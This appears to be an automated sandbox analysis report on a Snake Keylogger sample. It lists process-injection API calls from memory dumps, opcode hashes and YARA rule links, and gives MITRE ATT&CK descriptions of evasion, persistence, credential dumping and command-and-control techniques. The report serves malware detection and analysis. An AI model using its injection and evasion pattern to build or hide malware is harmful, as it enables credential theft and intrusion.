Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 5e2dc77a6ff2d255d7b15fef127e56e2832a1d94ade93febb2802dd6479c3c76
Instruction ID: b87b5c965f711c11aaaee9afffbc6ca79dcae8ae6ac9de4a45a46ca2acb3c678
Opcode Fuzzy Hash: 5e2dc77a6ff2d255d7b15fef127e56e2832a1d94ade93febb2802dd6479c3c76
Instruction Fuzzy Hash: 2D215471D003088FDB10CFAAC9847EEBBF4AB88364F54842AD519A7240DB78A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05D1DC59, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,05D1DC26,?,?,?,?,?), ref: 05D1DCE7

Memory Dump Source

Source File: 00000011.00000002.542319617.0000000005D10000.00000040.00000001.sdmp, Offset: 05D10000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 38f9a0c2959c2130ee923e2ba4fc961cec30f4bb33b0a463d956e1215ce7e537
Instruction ID: f30a025d742c7e992ed8dcbc5aa61d77b7cbf22186461b92a15b35217676ae79
Opcode Fuzzy Hash: 38f9a0c2959c2130ee923e2ba4fc961cec30f4bb33b0a463d956e1215ce7e537
Instruction Fuzzy Hash: E321E3B5900209EFDB10CFAAD984ADEBBF5FB48324F14841AE914B3310D778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01A025A8, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 01A02628

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: c9cfc9aecaae1aea4ea6a7c600e7049e9ac6fe5c0ac2b05622201d009f9ed67b
Instruction ID: 7878a2b49a14487c1a8708d58214a682a7f8b0ac987b0856ce8de498d42243d7
Opcode Fuzzy Hash: c9cfc9aecaae1aea4ea6a7c600e7049e9ac6fe5c0ac2b05622201d009f9ed67b
Instruction Fuzzy Hash: DF211671D003499FCB10CFA9D984BDEFBB5FF48314F50842AE519A7240DB78A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A01318, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 01A01396

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 7183df55d22fa5839e9ff1c42add3d2b8bb3bbe064b7b7ff75289eb9dddd79df
Instruction ID: 591c14b5c3ab3805460460f9baec7fcfc2b9c273feda33c151e8104732ed52f4
Opcode Fuzzy Hash: 7183df55d22fa5839e9ff1c42add3d2b8bb3bbe064b7b7ff75289eb9dddd79df
Instruction Fuzzy Hash: A3213371D003088FDB50DFAAC9847EEBBF4AF88324F54842AD559A7640DB78A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A03F58, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 01A03FDE

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: e65bb6b8b0dc623d6b46af76d7087a23806a9099a636a9276ba5724ad8ae2951
Instruction ID: da86a36cfd23b50e5a58ba4da462beb773ee600645ecd511fae6679da243e2a6
Opcode Fuzzy Hash: e65bb6b8b0dc623d6b46af76d7087a23806a9099a636a9276ba5724ad8ae2951
Instruction Fuzzy Hash: 722135B19002098FDB10CFAAD585BDEBBF4BF48314F14842AE558A7340DB78A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A03F60, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 01A03FDE

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: e7dd114f283bc8650ed1e35adb310db87eb7924f4b1d1cb523c010a9ad87509e
Instruction ID: 0cccee4f61bbe108297dbd7cfbabfc27534ef3ce5751a52812f2fa9b30872dcb
Opcode Fuzzy Hash: e7dd114f283bc8650ed1e35adb310db87eb7924f4b1d1cb523c010a9ad87509e
Instruction Fuzzy Hash: 702107B19002098FDB14CF9AD585BDEBBF4AF48314F148429E559A7340DB78A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A01FF0, Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 01A02066

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b73cbb7da6e1cc5592efb6df9f941a441e251e8ba4e62e5953908661ff4fb937
Instruction ID: 6606ba21b1fd499a585cc0cd57fa1537fb50f41a6bae602f6e5b7ad53c41a43d
Opcode Fuzzy Hash: b73cbb7da6e1cc5592efb6df9f941a441e251e8ba4e62e5953908661ff4fb937
Instruction Fuzzy Hash: AD115671900208CFDF10DFA9D9847DEBBF6AF48324F24881AE515B7250DB39A954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01A01FF8, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 01A02066

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 94af328cd4d9d9c86e9145bdf86c9d77227e8656e93796456239c29c629c3341
Instruction ID: 68816169ee5db7eec08afdd503b0f71ad866107088c29a33803b199cd9457632
Opcode Fuzzy Hash: 94af328cd4d9d9c86e9145bdf86c9d77227e8656e93796456239c29c629c3341
Instruction Fuzzy Hash: 5A116771900308CFDB10DFA9D944BDFBBF5AF48324F10881AE515A7250DB35A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01A03111, Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 01A0317A

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4594303a36661f910c632c4ee2134e935c58b726388053d8bb0c751a6ebacc6a
Instruction ID: 563652a87412794192cba747d05784aa72cad94a1d5b0ae7743c5c68bc31a2fb
Opcode Fuzzy Hash: 4594303a36661f910c632c4ee2134e935c58b726388053d8bb0c751a6ebacc6a
Instruction Fuzzy Hash: EA1116B1D003088FDB14DFAAD9457DEFBF5AF88324F24881AD519B7240DB79A9448BA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A03118, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 01A0317A

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c9ba8012ce13386fc0d9e6306c43991ea720e9feadc800b6e834cdef362ead31
Instruction ID: f4400a4e55c30b5998ae81451a51401a4f9fcf7c2311bbde74e8ec6cf1179634
Opcode Fuzzy Hash: c9ba8012ce13386fc0d9e6306c43991ea720e9feadc800b6e834cdef362ead31
Instruction Fuzzy Hash: B5112871D003088FDB14DFAAD9447DEFBF5AF88324F24881AD519A7240DB78A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01BAD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.509878860.0000000001BAD000.00000040.00000001.sdmp, Offset: 01BAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e3daf8944b3a3b7bcc9c1946d521b693dc56bf85569640bd2e3ed89191f8181
Instruction ID: 8e3356827739bb166b2619fde4795ff97cc968b0511d8a77914606eb90c08a14
Opcode Fuzzy Hash: 4e3daf8944b3a3b7bcc9c1946d521b693dc56bf85569640bd2e3ed89191f8181
Instruction Fuzzy Hash: 5B214571548200DFCB28CFA4D9D0B16BB65FB88354F60C6ADD8094B742C736D806CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01BAD006, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.509878860.0000000001BAD000.00000040.00000001.sdmp, Offset: 01BAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6e723950f60e76611af866645c71279b7f3a33c2ad07957ebe390e221b347db
Instruction ID: f28f6f914d3c19ef24113fe262f9d0bf2786ddb7f462097011076cfe5e640000
Opcode Fuzzy Hash: d6e723950f60e76611af866645c71279b7f3a33c2ad07957ebe390e221b347db
Instruction Fuzzy Hash: 8421A4755493808FCB17CF24D5A0B15BF71EB49314F28C5DAD8498B697C33AD44ACB62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report lfQuSBwdSf.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Snake Keylogger

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre